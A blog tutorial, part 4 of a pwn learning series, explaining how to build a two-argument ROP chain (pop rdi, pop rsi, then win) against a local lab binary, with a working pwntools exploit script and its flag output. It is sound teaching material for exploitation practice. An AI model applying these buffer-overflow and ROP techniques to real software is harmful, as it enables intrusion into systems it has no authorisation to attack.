Published on

Pwn Learning Path #4: Building a Two-Argument ROP Chain

Authors
  • avatar
    Name
    Muhammad Huzaifa
    Twitter

The next target required two values:

win(0xdeadbeef, 0xcafebabe);

Under the Linux x86_64 calling convention, the first argument belongs in rdi and the second belongs in rsi. That required two setup gadgets before entering win.

The required state

Immediately before win begins, I want:

rdi = 0xdeadbeef
rsi = 0xcafebabe
rip = win

The binary provides the corresponding gadgets:

pop rdi
ret

pop rsi
ret

Each gadget consumes two stack entries: one value for the pop, then one address for the following ret.

Reading the chain from top to bottom

After the 72-byte offset, the payload is:

pop rdi; ret
0xdeadbeef
pop rsi; ret
0xcafebabe
win

The execution sequence is:

  1. return into pop rdi; ret;
  2. load 0xdeadbeef into rdi;
  3. return into pop rsi; ret;
  4. load 0xcafebabe into rsi;
  5. return into win with both arguments ready.

The pwntools payload

from pwn import *

elf = context.binary = ELF('./ret2win_2args', checksec=False)
rop = ROP(elf)
io = process(elf.path)

pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]

payload = flat(
    b'A' * 72,
    pop_rdi,
    0xdeadbeef,
    pop_rsi,
    0xcafebabe,
    elf.symbols['win'],
)

io.sendline(payload)
print(io.recvall().decode())

The lab confirmed the chain with:

local{ret2win_two_argument_control}

My takeaway

A ROP chain is easier to debug when I stop viewing it as a byte string. It is an ordered list of state transitions:

set rdi -> set rsi -> enter target

When a chain fails, I can break at each gadget and ask three questions:

  • What value is currently at [rsp]?
  • What will this instruction change?
  • Which address will the next ret consume?

The three-argument lab extends exactly the same reasoning to rdx.

Series navigation

← Part 3: one argument · Part 5: ret2win with three arguments →